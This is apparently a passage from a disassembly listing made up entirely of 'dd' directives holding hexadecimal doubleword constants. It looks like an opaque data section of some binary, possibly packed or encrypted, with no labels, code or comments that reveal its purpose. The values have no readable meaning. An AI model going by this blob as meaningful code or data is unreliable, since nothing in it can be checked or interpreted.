		dd 26AF05C8h, 0B4096B4Bh, 1189B22h, 1D401798h, 60C10008h
		dd 0E9D1F749h, 71962FE6h, 7DFE8089h, 0BD556E30h, 62106393h
		dd 0CA837548h, 7BB79E68h, 0BFF1F906h, 8EFEA07h,	0C1D728B4h
		dd 6FE0275h, 6B971927h,	0AEB8102h, 0D9220E01h, 5EA64CE2h
		dd 74A6498h, 0DECD4EB1h, 0B04B444h, 0E2AA5F5Bh,	9A321B3h
		dd 664E382h, 7A65CDF0h,	23844B75h, 3BF9FD0h, 465D2F56h
		dd 3E3330DEh, 0F80C2479h, 0D1310551h, 3700AAEFh, 0E9D60EA6h
		dd 2C05B566h, 0CCDBAF5Ah, 0D5EBE82Fh, 1884F210h, 93F12D02h
		dd 1D40A479h, 0CC273F40h, 0A005D62Eh, 5580008h,	458C7395h
		dd 102F8E2Dh, 0E53FC31Ah, 41F00710h, 1AE02A12h,	10C285Dh
		dd 68570B79h, 5B3676C8h, 5F123C40h, 701BE4D6h, 6098401Eh
		dd 85A104D7h, 1DD2617Ah, 6E273EE6h, 538A48D4h, 1E12573Eh
		dd 547530D4h, 794A685Ah, 0FB09A512h, 0B8DBD401h, 3D6A17ACh
		dd 4D4F60FFh, 960685C2h, 0A9D460BFh, 7C452439h,	0F5AA09DFh
		dd 0DF67517Eh, 0F4E1F5A9h, 369E2F55h, 49E35717h, 25F16C5Fh
		dd 6DE47DC9h, 3332E917h, 0BFE0B689h, 9CC895EEh,	0D394D21Ch
		dd 5DC032EBh, 0E95CA89Ch, 133F4941h, 0C1CC5771h, 0E947C501h
		dd 12FBF8E0h, 56C75A58h, 5DD8C1A2h, 3C91F344h, 1B636861h
		dd 0D24BA23Bh, 13DB16EFh
		dd 0B9E852BBh, 80F22FA0h, 44C0580h, 3E75F9h, 789C7499h
		dd 14B97D35h, 2D75AD48h, 2712E59Fh, 0E923A1F7h,	22818C45h
		dd 0B6377FB9h, 4FA12E65h, 0B41DB3Dh, 44004A68h,	0E925C547h
		dd 80810B42h, 3B53F7ECh, 7E7546B7h, 0C0364ABCh,	7291BDF7h
		dd 273D2D2Ch, 1660B902h, 0C00AE004h, 0F85CF230h, 5C13F8E3h
		dd 5A7E2EA5h, 0EA0F3141h, 0C8C3F99h, 0F01BF07h,	0CC2EE580h
		dd 7295AAC5h, 0CACAC8DEh, 5F5A5704h, 0D5B787C2h, 0E22F9B14h
		dd 0E7A330BEh, 0C9F1BE5Ch, 0D9714982h, 2FC016F7h, 8FD3C533h
		dd 69216885h, 20D566E2h, 1CCC6882h, 0AFB235A0h,	0A44911E9h
		dd 179F1202h, 0F9B4DAE8h, 72EF81D8h, 0E1307FD3h, 0E4EBDF5h
		dd 3B4A49F6h, 13F84E8Ch, 0F415CE13h, 9101C5Eh, 12A42660h
		dd 147BF60Ch, 7AF65358h, 12B14F91h, 0D1017E88h,	5F0670EDh
		dd 0BA444C16h, 3AB98B08h, 0D6525807h, 0A197A554h, 63B02E79h
		dd 0B9BE0556h, 0AE53C7D3h, 19FE83C4h, 210893FDh, 91ADA43Eh
		dd 3909BA01h, 0E5D5527Ah, 0B56F11F4h, 200CC261h, 34DA7CB1h
		dd 0E90F0154h, 252BF4CAh, 249EEBA5h, 2C14CE42h,	0E4D89C0Bh
		dd 219B4ECDh, 994EE17h,	7F0562B8h, 2014E34Ch, 11697AADh
		dd 5C290E11h, 0E90E0C90h, 0FF136D14h, 0FEE92489h, 31254538h
		dd 0E5F16182h, 495EBE00h, 89512D9Ch, 0C5746E60h, 5BD8A3C3h
		dd 58DBC950h, 5FFA2100h, 0B8C7A5B8h, 560BDA60h,	3248DAB7h
		dd 30481E58h, 792812BCh, 13D73ED0h, 5804BE01h, 321D382Dh
		dd 0D54310BAh, 0D070BE66h, 7FA33B20h, 674D0B6Bh, 2E225DD9h
		dd 0C0017A7Eh, 2BE002E0h, 34E59F2Dh, 20F9AE32h,	303F17C3h
		dd 0E0165264h, 602DF113h, 90F8855Dh, 4825094Ch,	0FE8064Eh
		dd 450EA31h, 9B4167EEh,	10ABC013h, 0A8B8B303h, 82015BCh
		dd 148246B0h, 0E95A46C8h, 8DC4DD4Ah, 278A8EFEh,	284D229h
		dd 1EAC568Dh, 0BF1D589h, 0BB684585h, 4C0DF2AAh,	1F1802DCh
		dd 7D5F649Fh, 0C9EFC5C8h, 36932C18h, 2D8896CEh,	0EB600346h
		dd 5F14FB89h, 12EBD3F7h, 36F3E498h, 6582BD03h, 0FF12076h
		dd 0EF9750B3h, 9A7C7388h, 0B2701AF6h, 0FA99949Fh, 4DDD544Ah
		dd 5A4100BBh, 0F3812BE4h, 0A0243A84h, 0E98BCB5Bh, 0BFB8A1DEh
		dd 1FDD4F52h, 9664047Ah, 585A0474h, 2D6175BFh, 0D4452A13h
		dd 5DB25045h, 59EF8807h, 0C3B4A566h, 0C1B5E7A4h, 527CE09h
		dd 0DB0FB4AFh, 1B6D951Fh, 1C9B4E8Dh, 0D8A1E27Bh, 413BE979h
		dd 3B553142h, 0F75179D2h, 0C8D8680h, 0D2972605h, 65DB955Eh
		dd 37ABE9E1h, 5297BA69h, 4E4503DAh, 81E82C23h, 0DC44AF7h
		dd 0DCE8A4E9h, 0F1A0B95Fh, 533F16AEh, 0E77FE2Bh, 0D38BB4A4h
		dd 0BFA2A444h, 14E0A68Bh, 700CF681h, 94686550h,	0FE072E55h
		dd 3E730A32h, 0C1888A1Ch, 0C8053AB7h, 7752D0F6h, 23C5E72Eh
		dd 0F1AA59EEh, 0D20F8640h, 4BA0B2BAh, 0B3973C87h, 0F560D52Dh
		dd 547C75Ah, 896D5620h,	0BF317511h, 10599F98h, 90567953h
		dd 0BAF84A08h, 31CA83DFh, 0C2FC5A1Ah, 37787A47h, 97E58829h
		dd 0CEE0A516h, 504D0359h, 30A37AB8h, 40C52991h,	6CFEB91h
		dd 0D936FC27h, 0FB3B3F6Ah, 9FAE8399h, 0CE9AF8C5h, 89D9D197h
		dd 96183787h, 159DC388h, 0EFD222EEh, 0BD5E6324h, 70A52BC7h
		dd 0B356970Bh, 93DBFC72h, 6842C0DCh, 9D0E2520h,	0E0515F7Dh
		dd 2DC67428h, 0CF213959h, 731D97CAh, 89E8EABAh,	0F8955FFDh
		dd 0E6C12754h, 40239D6h, 29C890DFh, 0EE3E57Fh, 0AA132FF0h
		dd 2C392A88h, 8565A37h,	530E503Ch, 1670EE68h, 3B56DDAEh
		dd 70D92321h, 0DC41F723h, 0EA27122Bh, 7D09E42Dh, 10F6B22Ah
		dd 8D6ACC2Ah, 127202E0h, 407D0AE1h, 0EE281BEh, 4B8003CDh
		dd 15EDF2C0h, 2D066742h, 3C39762Ah, 44F16286h, 0ADE15546h
		dd 5B0005B4h, 0A232E1C2h, 0EA60DA20h, 147D080Bh, 0F4506097h
		dd 2E6F74C7h, 101DDEC2h, 0D3A05F01h, 2D06E0C1h,	59808A0Bh
		dd 205D79Dh, 0BBEBE047h, 0CC235F09h, 81AB8910h,	2188E3Ah
		dd 0CE7A40EAh, 6F061295h, 50B28629h, 4E746817h,	8C60058Ah
		dd 0D711B8BEh, 0E5F87E4Bh, 5A4A0750h, 0AABB3031h, 4C5E200Ah
		dd 0BCC1FCBDh, 311FA465h, 0E24CCCDAh, 0C500187Ch, 34A3CEC2h
		dd 25E9EA21h, 92519372h, 91EB88C3h, 11305BDEh, 0A659B5F5h
		dd 0E8310069h, 0B23616E9h, 738A051Eh, 0BE0111C8h, 0FD523C4Bh
		dd 9BE9CDB8h, 8BAD0995h, 0C7EE5717h, 0C082CBF2h, 71FFBEBh
		dd 0D1461940h, 0D26AE4E6h, 237E6674h, 2F0DB43Ch, 5C4B2480h
		dd 4A6B3EFCh, 10CF809h,	92B6BBD3h, 0D56B138Ah, 0EDACD016h
		dd 12C27B28h, 55CF4EE9h, 0F917D646h, 2EA07937h,	29221276h
		dd 2AE865h, 0B84D23F1h,	548AE947h, 50C89EEDh, 2D12BA59h
		dd 0AC25540Bh, 0CFA4AB81h, 0C73A1330h, 0EA50FF08h, 9CAD4A08h
		dd 0EE677F87h, 0B25F12D2h, 808B2AECh, 7E5C001h,	0C5FED5F6h
		dd 506EDDCh, 0E970F580h, 2D4BF87Dh, 314D559h, 0D01DF495h
		dd 98DCA1E9h, 11BBDD27h, 0FA1521F1h, 0BF5994DDh, 0E55E3D6Ah
		dd 82D3A250h, 4C2C8800h, 0DFF64EBEh, 5D494D4Bh,	8AF706B2h
		dd 4BE01D54h, 25E9DCD4h, 0C2ECA889h, 7A5FF497h,	0C482D3DDh
		dd 86A2ABEDh, 3652FB92h, 0C2069701h, 862B0ABFh,	60123E53h
		dd 71ED852Bh, 1A08ED28h, 38E179E9h, 0E6DDCD42h,	4EF7F000h
		dd 80042746h, 5B945A93h, 49E9E4C2h, 0EB20551Bh,	63A32D02h
		dd 0AD22DB3Eh, 77D942C4h, 5BB4B6D3h, 844C62B3h,	86FE9A89h
		dd 2701E56Ah, 0E1C12963h, 0F10160h, 0A6B4C9Bh, 0D5E9CD31h
		dd 0ABB52A5Bh, 826175DCh, 52C72460h, 76727B4Ch,	7A896817h
		dd 0E7FE4161h, 40F410A7h, 4FF2193Ch, 0D92BCA49h, 142FF8D1h
		dd 0DAD03BBDh, 0BC055D3Ah, 5D8BAE53h, 0AC5FE842h, 0C8A18B2Dh
		dd 227F142h, 31167DA9h,	0E17559CEh, 0D3048BFh, 672D1F7Fh
		dd 0E9147023h, 6599625Bh, 3B9DBBE0h, 0E92C0927h, 325CCB5Dh
		dd 2D9762h, 0A478BABDh,	5F050B0Fh, 0A26D0F5Eh, 5FBF666Bh
		dd 2E5AFC3h, 0B8E95607h, 5EF2BA50h, 0A70272C8h,	0BAAF2177h
		dd 0DFE2614Ch, 5AEB58EBh, 3E50EAFCh, 27F320C8h,	0EFF85D53h
		dd 0F20CCB9Fh, 11E9FFE7h, 4A703A1Ch, 2A54535Bh,	0B4D41FE9h
		dd 3E2DD062h, 30A55614h, 70528FAh, 79E256BCh, 401971A3h
		dd 264915CEh, 7DF6D48h,	719C28DCh, 5089E5C0h, 0C08609Ah
		dd 0F784C63h, 780E92Fh,	406341CEh, 0E2470265h, 36991095h
		dd 680DFF80h, 0EAB03FF8h, 0CFC2CC9Ch, 0BD60B79h, 0F5658D82h
		dd 1B9E003h, 6E30BC1h, 32550F68h, 0B8C4429h, 35E95051h
		dd 0C393345Eh, 305927EBh, 1DEA91E1h, 9B986827h,	5DDD9A65h
		dd 0E77F45F0h, 71738E2Dh, 97D9EB44h, 0E9761520h, 7AD7C1AAh
		dd 71C77151h, 0F44597FFh, 0D0CE74ADh, 55B4F91Bh, 811A3750h
		dd 3C2E835Fh, 3A50FC1Bh, 0ED10B70Ch, 2FDF030Dh,	0E4014E68h
		dd 557C24C2h, 413F48A1h, 0A7106F58h, 0F2636B07h, 0C33838C9h
		dd 0FA2EFF4Eh, 297DE612h, 20C9638h, 3BDAEEE3h, 0C9B1D15Fh
		dd 0F55A4FFEh, 0DC52D5A5h, 0F65F1218h, 2E7879F2h, 84C906CAh
		dd 87565DEEh, 0EFFA64D9h, 0BE9301F2h, 0ABE91E02h, 52873E8h
		dd 0BA5DEB89h, 26728FF2h, 691D40A7h, 0AEF200FDh, 0F5636F3Fh
		dd 5E23E560h, 188EB6A4h, 55A90B80h, 69B8B529h, 154B9A68h
		dd 841DAFCDh, 4D92EA82h, 80F53427h, 8C1CE6E9h, 0C1509579h
		dd 0ED99E913h, 0B3B70730h, 0B869730h, 4F5FB2EEh, 9DFB641h
		dd 76EC6A83h, 5472BEF1h
		dd 0B1C728E0h, 82B411C7h, 747CC0C2h, 0BBE035F7h, 612D408Eh
		dd 59CD56A2h, 852D6057h, 8BC6B72Bh, 25582133h, 6953FAC6h
		dd 0E03F8898h, 9B6BEEA5h, 26F6D893h, 194558C7h,	0DDC56B16h
		dd 94427E01h, 545102C1h, 0AC54E2C9h, 43423D7Ch,	45B900F9h
		dd 409F2A4Ah, 58B5BF4Bh, 0C60391D5h, 496D4285h,	72870C01h
		dd 0CE0159B3h, 0B1F89C20h, 2D080FCDh, 4F0622C5h, 0CA25F7E4h
		dd 80AD840Dh, 21440A4Dh, 32D1A4Ch, 58B07DB6h, 0A2F3B843h
		dd 0CCBA12CEh, 0B0291629h, 0F54103C4h, 1E6F0E2h, 99685557h
		dd 2F7D2B39h, 0B850F980h, 0CB850461h, 0E8C52912h, 65BD8034h
		dd 0F41A2842h, 8E879DFCh, 60485035h, 0D69F0163h, 5AE96222h
		dd 3048DFD0h, 0F2D81255h, 91206589h, 0E975629Bh, 0D4805E2h
		dd 0D9277FF2h, 4F27F729h, 660B684Ah, 0EBBF7ADh,	6F8802F9h
		dd 8C3A7F2Dh, 2B40C97Fh, 2DEA0781h, 697B1547h, 24FDCC3h
		dd 0C89C28BAh, 0D1E34F4Bh, 68628E2Dh, 0D9FA9376h, 3A5A090h
		dd 7F671417h, 0B0C1BB9h, 91C86CE9h, 8880CC7h, 1B0C4F01h
		dd 913CBF16h, 0EFDB24FAh, 210B0B2Eh, 3B821C77h,	0F968C4CEh
		dd 0D384AC1h, 0C928F64Eh, 2509DBF0h, 7414DFE9h,	30F55158h
		dd 0FC7C16Bh, 6825DEAh,	0BC4F5A7h, 70636CF1h, 41F6D3BDh
		dd 7E787668h, 41E00631h, 0CF487D76h, 0DF27578Fh, 0E0FBC553h
		dd 4F30E9B8h, 0E0C2E333h, 0CBAA2FFDh, 0B97A1840h, 0CC435F82h
		dd 60AC078Dh, 0F2222769h, 98D5CF1Dh, 252DF3CDh,	60F14D5Dh
		dd 7C05E562h, 0D053080Dh, 0B52D5D00h, 0B54F5807h, 0A755992h
		dd 400C0D2h, 1F0B4135h,	57E9D0Dh, 84D9E984h, 0BC98CAFh
		dd 0F3BF8761h, 41D12B5Eh, 5D90B240h, 61105C74h,	8E5F0802h
		dd 0B360466Bh, 0DE273D41h, 31C78673h, 0E3810238h, 4DF2706Fh
		dd 0AD0C6BF4h, 4F5C5889h, 0B40AE951h, 286CD8AFh, 7CC7D04h
		dd 0E016C81h, 7C45F15Bh, 0C448AB4h, 719CD549h, 10BFA080h
		dd 227AC62Eh, 1777181h,	0E8E291Dh, 0CCF23568h, 2AF3B039h
		dd 0D500678Dh, 7DF5737Fh, 20BA2672h, 0C50D017Bh, 4059804Dh
		dd 54002B4h, 2DC55C5Ch,	0E735F835h, 9217CC34h, 0F6C1F6FEh
		dd 42BA0F52h, 0FAD73E22h, 0CB295006h, 0C60B8364h, 0C91BBE3Eh
		dd 8F7EEE78h, 45C87D82h, 8880F1A6h, 10009AF5h, 7F4DFB68h
		dd 69096324h, 28CD7C41h, 1EF7E360h, 8705591Dh, 0BF6E7E9h
		dd 93B34F5h, 0C816E957h, 97B3E4DDh, 0A14231D4h,	0EA3C6F8h
		dd 55E3BB66h, 98DA892h,	4602EC83h, 0DC2E1DFh, 6E3DDDCCh
		dd 70D3CF32h, 0EDF4B5CAh, 5A40E9F8h, 0DEF3A9C7h, 29C3BC8h
		dd 15D86858h, 0E59E4B51h, 0CB080289h, 0AF8D4ABBh, 0B462BC3Dh
		dd 0FC33107h, 68C0DEB7h, 0AE974F6h, 0FEE8D34Ah,	0A0E8E4E7h
		dd 8509BE00h, 0FCD2F0EFh, 58B92490h, 0AC5E08E9h, 54E221A8h
		dd 27201CC4h, 26DCB5FDh, 10C3E20Ch, 739E2A68h, 42FB2DEFh
		dd 0E9054965h, 40BBAF9Eh, 36EE813Eh, 6F7DC012h,	0F9C5B95Eh
		dd 8234C7AEh, 6DEA5664h, 0CFC24F8Fh, 0DDDEDAA8h, 0E9F20901h
		dd 53CE54Bh, 41DB089Eh,	57E3880Eh, 6A421605h, 76D9DBE6h
		dd 0D0F700F8h, 410DF048h, 0A5E2E39h, 6867E658h,	6C82A16Ah
		dd 58D3E231h, 0DB0415EBh, 0C318301Fh, 0D5FDF51h, 7412C3ACh
		dd 9601BCE4h, 8C193BBh,	0AFEE1F2h, 8308552Fh, 0E6B42FAEh
		dd 58317C9Fh, 0F802B450h, 6EE9E688h, 0C6A0571Ah, 9268D3EAh
		dd 5CA5615Eh, 91C0806h,	84D5809h, 0CF64C655h, 0BAF34724h
		dd 56891300h, 8229330Ch, 0BA013F6h, 581762D0h, 0F9382F73h
		dd 5108B74h, 0FCE4E30h,	0B8301E00h, 1D43232Dh, 0ACD6BE31h
		dd 66072566h, 91E675Fh,	89894EFEh, 88FBFEEAh, 0BB017508h
		dd 72923E47h, 0A7247BE9h, 24D92F68h, 0EC973466h, 20229874h
		dd 0BD0F128Dh, 0B2E8FCF8h, 0BAA829C4h, 7903050h, 0E9736B33h
		dd 0F52E2B60h, 939C1C1h, 56E06B56h, 0AF1F251Ah,	4ECE2A62h
		dd 469A6817h, 0D3976B61h, 4077858Fh, 0EBC0AE04h, 68099A8Eh
		dd 47222530h, 2D00CBBDh, 7AC810BCh, 0C09C2E37h,	1BF06BE6h
		dd 0C90206CAh, 41B51C02h, 51B8005Dh, 18C20949h,	5CB6BD3Fh
		dd 2C46008Bh, 19E954C8h, 9E3D164Fh, 0DD345A63h,	5AAA41FAh
		dd 0CDD1EB80h, 98AF30C3h, 779D8FD0h, 0EBDAF34h,	0EAD6C8A2h
		dd 1A256700h, 4E3E6853h, 4CE93302h, 77DF82h, 0F842274Eh
		dd 0DDB3A028h, 69391866h, 56B70E41h, 8763183Eh,	0CC1DD2E1h
		dd 1A5EE9D1h, 0AC6C781h, 3A4C7543h, 0EE3CFD8Bh,	21516B8Bh
		dd 20041556h, 59C1667Eh, 0F327B55Fh, 0D84CA214h, 0C863889h
		dd 0EA0247E7h, 0BB73F751h, 8A2FE055h, 31711F36h, 241E9AE9h
		dd 0B958615Fh, 0A0DF33E4h, 3D22D03Eh, 28A713E7h, 0F7817874h
		dd 669A383Fh, 5C1DFD4h,	0FDE906E7h, 0F58E4EFBh,	0E38783E4h
		dd 12513D4Dh, 25ECD2F4h, 54F281C0h, 264F9542h, 137678F8h
		dd 0E4B9BEE9h, 6C055B5Eh, 5C82911h, 68590702h, 170FD8FCh
		dd 0B95CA8E9h, 1DD33980h, 76E5BD8h, 0DA284325h,	9CD863C7h
		dd 94135C9Ah, 92DBAD71h, 7F2E99AAh, 0CA5A9ECBh,	19BB1C84h
		dd 0C50E484Fh, 85B7FFD9h, 8055E909h, 0D8C019D5h, 7F6FCB3Eh
		dd 2AFBC04Eh, 425C2548h, 7BE341F9h, 0C2620902h,	7FE1D482h
		dd 1041355Ch, 0B83E4650h, 58084006h, 0ECD2E913h, 0D84C28BFh
		dd 6D8E0D54h, 0E08C785Eh, 71295A2Ah, 70C231BEh,	0BB80BE58h
		dd 0D73313DEh, 0F82DA510h, 2AD35B7Fh, 3DEB01EFh, 6B227C2Bh
		dd 7E41C087h, 1A824619h, 80F3385Ah, 35EB3C40h, 29014F09h
		dd 85808CEh, 0E909B926h, 0F0B055E5h, 0B080C391h, 0C7801E5Bh
		dd 0AC479709h, 5059389Fh, 2C3E5AE3h, 0A87814EBh, 0CC91D7F8h
		dd 2948EA77h, 2BDC4176h, 0A44B2D5Eh, 2F0BF31Fh,	0B2F5A542h
		dd 0DC65D701h, 0FBB26616h, 0BFBE0E17h, 489528h,	0BD7CB42Dh
		dd 0DBF2E949h, 5D704A9Dh, 0FFEBC520h, 212D248Dh, 6F4379C2h
		dd 57FBEC61h, 9E2C2EFFh, 0A1CB4BE9h, 0D3DB7A5Ah, 0D374BF4Bh
		dd 7949482h, 33C96780h,	64015F1h, 0ADA1CBA1h, 8AAD30C3h
		dd 89DD79B5h, 6EA10768h, 7AD1A9E9h, 53112790h, 13799DF7h
		dd 89161B24h, 0FB4F99FCh, 5A015978h, 0C0404247h, 0A2833D3Bh
		dd 0D0CBCEFh, 6AEE32E9h, 88A63BB5h, 0A33CAA4Ah,	3CDE9CACh
		dd 6B0B2A5h, 33E57268h,	0B4B7175Ch, 16E04BEh, 0EFC04228h
		dd 0DA095F02h, 18B56C00h, 0C65F3CE9h, 0B2C5FAEDh, 19C6C2BAh
		dd 0A4D84009h, 0FD52817Dh, 0E8D4C19Ch, 0F19FE17Ah, 0EE5C1A20h
		dd 0EE562057h, 0B1F8635h, 5EF231D7h, 2239D580h,	0E91C66F1h
		dd 4B38811Ch, 0E9927CEFh, 72BE312Dh, 56C23BFBh,	6159A189h
		dd 4EBD807Dh, 76489D5Bh, 0CE12C0C1h, 40497997h,	861FC0BDh
		dd 29D32551h, 0E9582FF4h, 5AE14063h, 58686609h,	0F24E6B62h
		dd 77CE4A39h, 0CF71D5A9h, 0E418E961h, 56EDF39Fh, 0E94F1273h
		dd 3008417Dh, 2F0CC1CDh, 0C41CD5Eh, 0F6412B5h, 4139A96Dh
		dd 140CA008h, 62255D7Eh, 0C27A540Ah, 0B596FA1h,	0D1A54A48h
		dd 53C5996h, 0E6C4AF09h, 47B70B6Bh, 550262EDh, 0CB9A50BDh
		dd 76955078h, 2F65EB6Ah, 0B66866B0h, 49EF2C78h,	0EF0BCB28h
		dd 0C61C4842h, 23AE865Bh, 4ACA5FBAh, 0B802D6FCh, 0C0D92B8Bh
		dd 0B676B9E7h, 74A9A7C4h, 0F1FCF458h, 6630DC97h, 279841D6h
		dd 72142B5Ch, 254D0CC0h, 1C011DDFh, 7A04E9F3h, 884139DAh
		dd 0EC95B56h, 6DE4D6F6h, 9130AE74h, 48187811h, 7D04EAB1h
		dd 0EE522105h, 80BA5D4h
		dd 0BC4E845Eh, 3888AA56h, 0FEB34BEBh, 6844FA1Dh, 30B320ACh
		dd 0FE1CB009h, 589FB2F4h, 0DFE9D0CFh, 23EF4DF0h, 80514F55h
		dd 0AE3EBB7Eh, 5E61C5Ah, 0ACED9713h, 0D585E4A6h, 5B1F2BBFh
		dd 92D23CBDh, 18F846F9h, 934A92B0h, 0F10CA307h,	0C434D8B1h
		dd 0B7040C89h, 0B04C3687h, 92CD80D5h, 0CA23E91Bh, 12A3C1C3h
		dd 9940A761h, 302ABBAh,	0E9EE219Ah, 277D037Ch, 0C47BCB09h
		dd 8467C47h, 5E1319E6h,	5AC552E4h, 0AC973149h, 97B36E6Ch
		dd 0E38D7616h, 6739D641h, 0E115AC2Fh, 0F805BA89h, 0E0E84EA1h
		dd 0C8E66C14h, 0AD4AA381h, 7E00201Fh, 3BFF6A18h, 2C1CD118h
		dd 2286359h, 7D511E9Bh,	9E4D26C9h, 7604B8E0h, 5E0429C6h
		dd 0E03BAD1Dh, 9E11AAE9h, 41F9E979h, 653A4B60h,	0BA52013Eh
		dd 11080D68h, 10D77C29h, 0B9025432h, 7B8D5FD7h,	52F52E1h
		dd 51B20EBEh, 77C68B38h, 76DA3C13h, 129643F9h, 5FA6C2AFh
		dd 0D8CDB2FDh, 4D769F9Ch, 617B7652h, 2C458C68h,	0FF518B4Fh
		dd 91B7EA04h, 2FD2F592h, 0ED8FC41Dh, 0EA06C426h, 3000DABEh
		dd 0B7E90C83h, 8098B9D2h, 0CCFE2FB4h, 4C4BC480h, 8F5B42B2h
		dd 14E85B89h, 3EC632B1h, 0F262B440h, 5801DA95h,	16B6D6CDh
		dd 87F5E916h, 0D0BED0D4h, 7554E187h, 4F9A71B5h,	9E789E0Bh
		dd 0AD5C978Ah, 6A01617Ah, 8F843389h, 2928133Eh,	0C101FCD8h
		dd 0E9425E5Fh, 0B22BDFC6h, 506035Ch, 0A50E3115h, 0E91820EAh
		dd 92947D90h, 1F4F547h,	10B5B3FFh, 0FEC433C4h, 83AE12B8h
		dd 0BDF15544h, 41A8616Ah, 962FDFF2h, 6758ED0Ah,	0FEEC78DEh
		dd 8630DF09h, 526DE705h, 61D8D095h, 0BFEE264Eh,	820ABD53h
		dd 2F685E99h, 96F4674h,	2E5CE957h, 94BD8414h, 0F0E91A6Eh
		dd 1E57A4DBh, 3083414Bh, 7E8221FCh, 739C0070h, 9EB84281h
		dd 28E90BC4h, 0CBD34B0h, 487F531Fh, 12124548h, 0E8002452h
		dd 0E32A9DF5h, 0CAFEC01Fh, 0E9227338h, 56F27254h, 0E5CB574Fh
		dd 0F140D70Ch, 0E34A192Ah, 0DF67E0DEh, 95A5452h, 0C298DD12h
		dd 7C0C4868h, 905D3231h, 7A370E3Ch, 103B4563h, 48F251BBh
		dd 2916687Eh, 0ABBE49C0h, 594A5C5Ch, 7FF5F600h,	8BE94692h
		dd 0FF257794h, 3657389Ah, 795CB74Ch, 0F9C847E2h, 0C650272Dh
		dd 54023107h, 61B0E281h, 0B74A6A53h, 783C5B3h, 96416BD2h
		dd 0DE9E85Ch, 6C0BE1ECh, 76435A61h, 9389259Eh, 25BB445Dh
		dd 84892EDh, 0B50962A6h, 0A1574627h, 389725C0h,	9A2BF647h
		dd 74BEC23Ah, 4A5D833Ah, 1B2D3A2Ch, 5EED965Bh, 139C542h
		dd 7A0BEF14h, 0ACB16A7Eh, 0E334A47Eh, 101BB70Ch, 9027855h
		dd 5076443Ah, 0AD1356FCh, 9807D464h, 0ACD23135h, 1F5955E3h
		dd 2A63D20Ch, 3048B85Bh, 801EB748h, 0C07901C1h,	86830250h
		dd 25F5094Bh, 2E10B862h, 0DAF71851h, 810E2174h,	403F7859h
		dd 121F30C3h, 0F8CD60CFh, 24FC5AE7h, 8D75E5D4h,	642C9FD8h
		dd 0B8E4B256h, 95C5D7CAh, 17680960h, 64489C21h,	5839E920h
		dd 4AF71319h, 9BC77260h, 0DFF2F50Ah, 0E42CA9C6h, 0E640FC0Bh
		dd 0F635DA43h, 0A4A95B4Ch, 884008B7h, 271E7D2Ch, 65E9DB2Dh
		dd 411E7068h, 4FFDF2BFh, 9D38119h, 79006AFEh, 7A41CD2h
		dd 0B8EB0181h, 29CD97D8h, 27C82ADEh, 0D1CC0B2Dh, 870A391h
		dd 0A65F527Eh, 61BBA201h, 0FFDE2B1Bh, 6B658BE0h, 4ECA0F60h
		dd 0B404BE2Dh, 19086F2Eh, 74DE27h, 791D6688h, 0BD68CB9h
		dd 0AC1924FFh, 0F101185Ch, 807EFDB6h, 6B0445BAh, 0EA3119D2h
		dd 0BE0A2AAh, 0D2FDB4E9h, 4F9D844Ch, 5C8C0AF3h,	1CAD08F7h
		dd 972C742Fh, 12B2434h,	5D6A4A8Ch, 0A2CC385Fh, 0FDE57551h
		dd 28886804h, 1E731AFh,	0FC2B0D1Ah, 544504FFh, 4AC116A6h
		dd 6800F23Eh, 39FA711Dh, 16505E3Eh, 90FDC5C1h, 167B2577h
		dd 0D10BABF2h, 546A1F42h, 2BD40AFFh, 730C3E0Dh,	10BC4CD7h
		dd 49701312h, 84160EDh,	97CDA22Eh, 7E97770h, 0D151BDFEh
		dd 0EA82E1B4h, 0F039FD8Ah, 5D7B205Fh, 8C89B0BEh, 0E86E3069h
		dd 9DB680B8h, 37CE3037h, 57FE4DC2h, 1C9009F9h, 0CAFB413h
		dd 4051F884h, 2F783D43h, 6D515B86h, 7F1A16B0h, 7B05B75Fh
		dd 0E90705F6h, 0F4C75080h, 766B810h, 0F7245C2Dh, 5F829A1h
		dd 8FC20747h, 91586327h, 0E872AF11h, 17CBEA02h,	32570165h
		dd 254EFCDFh, 967D1B8Bh, 83219576h, 7C5139B3h, 3BA710F6h
		dd 0C1A5BE02h, 29FDD5D8h, 0A932777Eh, 8964D17Dh, 7D74ED0Eh
		dd 0F4BBFBC4h, 579A1B09h, 0D0EB282Dh, 9B42A3CBh, 5712F151h
		dd 1F34E32Eh, 0F89FC4B7h, 0A1B40B53h, 7BCB0FEBh, 9264255Dh
		dd 1A28FAC6h, 45189FFAh, 0CA793DE9h, 0D01E28F4h, 0DA556904h
		dd 2A680998h, 49AA5151h, 0DAF4C902h, 1C570901h,	0CFA2D5E0h
		dd 9125E2Ah, 84290C21h,	0AB97E2F1h, 513536C0h, 95B505CFh
		dd 0F840D8F7h, 84A8162Fh, 4B87848Ch, 0B106F276h, 8532C956h
		dd 0B2DBB05h, 57F5012Eh, 3EFC841Dh, 398F6BF1h, 0BF41F7C7h
		dd 0F4FD01B2h, 1AC65954h, 0B56424Ah, 1C444FD5h,	4D22CF00h
		dd 0F7301277h, 26A61CD2h, 0E6FE59AFh, 2C603127h, 5582B4F8h
		dd 0EF015ED0h, 64117C85h, 0F16AF909h, 164DECFCh, 6310065Ch
		dd 5AB490DDh, 1640FAB4h, 0D9334E88h, 0CA98C431h, 5C129CD8h
		dd 2837A05Eh, 4FB88395h, 5CC7784Fh, 5F5F1A9Fh, 5535D870h
		dd 9DEB2477h, 66BC2E15h, 938929C4h, 38E83E04h, 0FF65B01h
		dd 0F9937AB6h, 21584D00h, 4A537E8Bh, 0A5200056h, 0B85D5568h
		dd 0B22970Bh, 0A7A78941h, 7411BDB4h, 0F83F793Ch, 0D095F12Dh
		dd 72FED964h, 0B8CB7CC3h, 6368B5D0h, 5B817FA8h,	0C51CB038h
		dd 3DE5CC17h, 0E92F3A0Ch, 0EF9E6873h, 0A7491746h, 2582EC0Dh
		dd 9F0B70B1h, 14C2EBF1h, 8DC5D7B3h, 3B8220B4h, 0B36CB0Bh
		dd 3BB768FCh, 0EE8F0719h, 0CBF8F1D5h, 5A34A57Fh, 0B5A4A2EFh
		dd 662F6382h, 68521D94h, 72F144A4h, 13C8FA5Ah, 0B56D26D4h
		dd 55EA0094h, 576B0813h, 0E053A90h, 4A2C445Ch, 3ADADFBCh
		dd 49F21160h, 6CFC2E18h, 4844261Eh, 9140B4EDh, 0F6825B42h
		dd 1D5516F0h, 3945F7F0h, 0A05F7448h, 6A3B7ED4h,	8FF50305h
		dd 955FF44h, 0AE0F3818h, 0D331BC82h, 0B8F68A04h, 5C800288h
		dd 0E905E1C0h, 0D06B5A23h, 47407914h, 0E6054B76h, 6ED04557h
